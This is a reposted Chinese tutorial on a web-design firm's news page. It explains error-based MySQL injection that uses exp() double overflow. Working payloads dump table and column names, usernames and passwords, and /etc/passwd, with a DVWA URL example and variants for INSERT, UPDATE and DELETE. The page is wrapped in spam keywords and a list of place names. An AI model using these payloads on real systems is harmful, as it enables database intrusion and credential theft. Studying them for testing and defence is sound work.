1. <ul id="0c1fb"></ul>

      <noscript id="0c1fb"><video id="0c1fb"></video></noscript>
      <noscript id="0c1fb"><listing id="0c1fb"><thead id="0c1fb"></thead></listing></noscript>

      99热在线精品一区二区三区_国产伦精品一区二区三区女破破_亚洲一区二区三区无码_精品国产欧美日韩另类一区

      RELATEED CONSULTING
      相關(guān)咨詢
      選擇下列產(chǎn)品馬上在線溝通
      服務(wù)時(shí)間:8:30-17:00
      你可能遇到了下面的問題
      關(guān)閉右側(cè)工具欄

      新聞中心

      這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
      如何使用exp進(jìn)行SQL報(bào)錯(cuò)注入

      這篇文章主要為大家展示了“如何使用exp進(jìn)行SQL報(bào)錯(cuò)注入”,內(nèi)容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領(lǐng)大家一起研究并學(xué)習(xí)一下“如何使用exp進(jìn)行SQL報(bào)錯(cuò)注入”這篇文章吧。

      魏縣網(wǎng)站制作公司哪家好,找創(chuàng)新互聯(lián)建站!從網(wǎng)頁設(shè)計(jì)、網(wǎng)站建設(shè)、微信開發(fā)、APP開發(fā)、成都響應(yīng)式網(wǎng)站建設(shè)等網(wǎng)站項(xiàng)目制作,到程序開發(fā),運(yùn)營維護(hù)。創(chuàng)新互聯(lián)建站于2013年成立到現(xiàn)在10年的時(shí)間,我們擁有了豐富的建站經(jīng)驗(yàn)和運(yùn)維經(jīng)驗(yàn),來保證我們的工作的順利進(jìn)行。專注于網(wǎng)站建設(shè)就選創(chuàng)新互聯(lián)建站

      0x01 前言概述

      小編又在MySQL中發(fā)現(xiàn)了一個(gè)Double型數(shù)據(jù)溢出。當(dāng)我們拿到MySQL里的函數(shù)時(shí),小編比較感興趣的是其中的數(shù)學(xué)函數(shù),它們也應(yīng)該包含一些數(shù)據(jù)類型來保存數(shù)值。所以小編就跑去測試看哪些函數(shù)會(huì)出現(xiàn)溢出錯(cuò)誤。然后小編發(fā)現(xiàn),當(dāng)傳遞一個(gè)大于709的值時(shí),函數(shù)exp()就會(huì)引起一個(gè)溢出錯(cuò)誤。

      如何使用exp進(jìn)行SQL報(bào)錯(cuò)注入

      mysql> select exp(709);
      +-----------------------+
      | exp(709)              |
      +-----------------------+
      | 8.218407461554972e307 |
      +-----------------------+
      1 row in set (0.00 sec)

      mysql> select exp(710);
      ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

      在MySQL中,exp與ln和log的功能相反,簡單介紹下,就是log和ln都返回以e為底數(shù)的對(duì)數(shù),見等式:

      如何使用exp進(jìn)行SQL報(bào)錯(cuò)注入
      如何使用exp進(jìn)行SQL報(bào)錯(cuò)注入

      mysql> select log(15);
      +------------------+
      | log(15)          |
      +------------------+
      | 2.70805020110221 |
      +------------------+
      1 row in set (0.00 sec)


      mysql> select ln(15);
      +------------------+
      | ln(15)           |
      +------------------+
      | 2.70805020110221 |
      +------------------+
      1 row in set (0.00 sec)

      指數(shù)函數(shù)為對(duì)數(shù)函數(shù)的反函數(shù),exp()即為以e為底的對(duì)數(shù)函數(shù),如等式:

      如何使用exp進(jìn)行SQL報(bào)錯(cuò)注入
      mysql> select exp(2.70805020110221);
      +-----------------------+
      | exp(2.70805020110221) |
      +-----------------------+
      |                    15 |
      +-----------------------+
      1 row in set (0.00 sec)

      0x02 注入

      當(dāng)涉及到注入時(shí),我們使用否定查詢來造成“DOUBLE value is out of range”的錯(cuò)誤。作者之前的博文提到的,將0按位取反就會(huì)返回“18446744073709551615”,再加上函數(shù)成功執(zhí)行后返回0的緣故,我們將成功執(zhí)行的函數(shù)取反就會(huì)得到***的無符號(hào)BIGINT值。

      mysql> select ~0;
      +----------------------+
      | ~0                   |
      +----------------------+
      | 18446744073709551615 |
      +----------------------+
      1 row in set (0.00 sec)


      mysql> select ~(select version());
      +----------------------+
      | ~(select version())  |
      +----------------------+
      | 18446744073709551610 |
      +----------------------+
      1 row in set, 1 warning (0.00 sec)

      我們通過子查詢與按位求反,造成一個(gè)DOUBLE overflow error,并借由此注出數(shù)據(jù)。

      >`exp(~(select*from(select user())x))`       mysql> select exp(~(select*from(select user())x));      ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

      0x03 注出數(shù)據(jù)

      得到表名:

      select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

      得到列名:

      select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

      檢索數(shù)據(jù):

      select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

      0x04 一蹴而就

      這個(gè)查詢可以從當(dāng)前的上下文中dump出所有的tables與columns。我們也可以dump出所有的數(shù)據(jù)庫,但由于我們是通過一個(gè)錯(cuò)誤進(jìn)行提取,它會(huì)返回很少的結(jié)果。

      exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))   http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
      如何使用exp進(jìn)行SQL報(bào)錯(cuò)注入

      0x05 讀取文件

      你可以通過load_file()函數(shù)來讀取文件,但作者發(fā)現(xiàn)有13行的限制,該語句也可以在BIGINT overflow injections中使用。

      select exp(~(select*from(select load_file('/etc/passwd'))a));
      如何使用exp進(jìn)行SQL報(bào)錯(cuò)注入

      注意,你無法寫文件,因?yàn)檫@個(gè)錯(cuò)入寫入的只是0。

      mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'       # type C:\out.txt  0

      0x06 Injection in Insert

      按部就班就好

      mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

      對(duì)于所有的insert,update和delete語句DIOS查詢也同樣可以使用。

      mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000  newdb::users::id  newdb::users::username  newdb::users::password' from dual)))'

      0x07 Injection in Update

      mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

      0x08 Injection in Delete

      mysql> delete from users where id='1' | exp(~(select*from(select user())x));  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

      和前面的BIGINT注入一樣,exp注入也適用于MySQL5.5.5及以上版本。以前的版本對(duì)于此情況則是“一言不發(fā)”。

      mysql> select version();  +---------------------+  | version()           |  +---------------------+  | 5.0.45-community-nt |  +---------------------+  1 row in set (0.00 sec)     mysql> select exp(710);  +----------+  | exp(710) |  +----------+  |   1.#INF |  +----------+  1 row in set (0.00 sec)     mysql> select exp(~0);  +---------+  | exp(~0) |  +---------+  |  1.#INF |  +---------+  1 row in set (0.00 sec)

      可能還有其他的函數(shù)會(huì)產(chǎn)生這種報(bào)錯(cuò)呦。

      以上是“如何使用exp進(jìn)行SQL報(bào)錯(cuò)注入”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對(duì)大家有所幫助,如果還想學(xué)習(xí)更多知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!


      分享文章:如何使用exp進(jìn)行SQL報(bào)錯(cuò)注入
      網(wǎng)站網(wǎng)址:http://www.ef60e0e.cn/article/psgdcp.html
      99热在线精品一区二区三区_国产伦精品一区二区三区女破破_亚洲一区二区三区无码_精品国产欧美日韩另类一区
      1. <ul id="0c1fb"></ul>

        <noscript id="0c1fb"><video id="0c1fb"></video></noscript>
        <noscript id="0c1fb"><listing id="0c1fb"><thead id="0c1fb"></thead></listing></noscript>

        恩施市| 武功县| 富民县| 郧西县| 克什克腾旗| 曲阜市| 临潭县| 米泉市| 四平市| 东平县| 寿宁县| 扶绥县| 赣州市| 彭阳县| 墨脱县| 郴州市| 崇义县| 西林县| 海城市| 威远县| 绥化市| 马龙县| 沁阳市| 呼图壁县| 成安县| 乌审旗| 澎湖县| 黎川县| 固阳县| 伊川县| 嘉义县| 茶陵县| 岑溪市| 威远县| 桂平市| 汉沽区| 交口县| 上思县| 南和县| 通榆县| 南平市|